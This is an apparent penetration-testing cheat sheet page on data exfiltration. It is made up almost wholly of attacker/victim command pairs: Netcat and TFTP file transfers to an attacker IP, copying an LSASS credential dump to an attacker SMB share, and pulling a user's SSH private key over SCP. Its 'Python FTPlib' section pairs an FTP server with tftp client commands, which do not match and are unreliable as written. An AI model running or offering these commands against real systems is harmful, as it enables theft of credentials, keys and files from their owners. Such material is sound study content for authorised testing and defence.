> For the complete documentation index, see [llms.txt](https://awesome.hackpuntes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://awesome.hackpuntes.com/osep-cheatsheet/exfiltrate-data.md).

# Exfiltrate Data

### Netcat

```bash
# Attacker
nc -lnvp 1234 > file.txt

# Victim
nc.exe -vn <attacker-ip> 1234 < file.txt

# Important: Always close the connection from the receiver to avoid losing the shell.
```

### Impacket

```bash
# Attacker
sudo impacket-smbserver -comment "SHARE" TMP /home/<username>/smb -smb2support

# Victim
copy-item -path c:\windows\tasks\lsass.dmp \\<attacker-ip>\tmp\lsass.dmp

```

### SCP

Download private key from user to my machine

```bash
scp <username>@<victim-ip>:/home/<username>/.ssh/id_rsa ~/.ssh/<username>.key
```

### Python FTPlib

```bash
# pip install pyftpdlib
# Attacker
python -m pyftpdlib -p 21

# Victim
# Put file
tftp -i <attacker-ip> PUT file.txt
# Get file
tftp -i <attacker-ip> GET file.txt
```
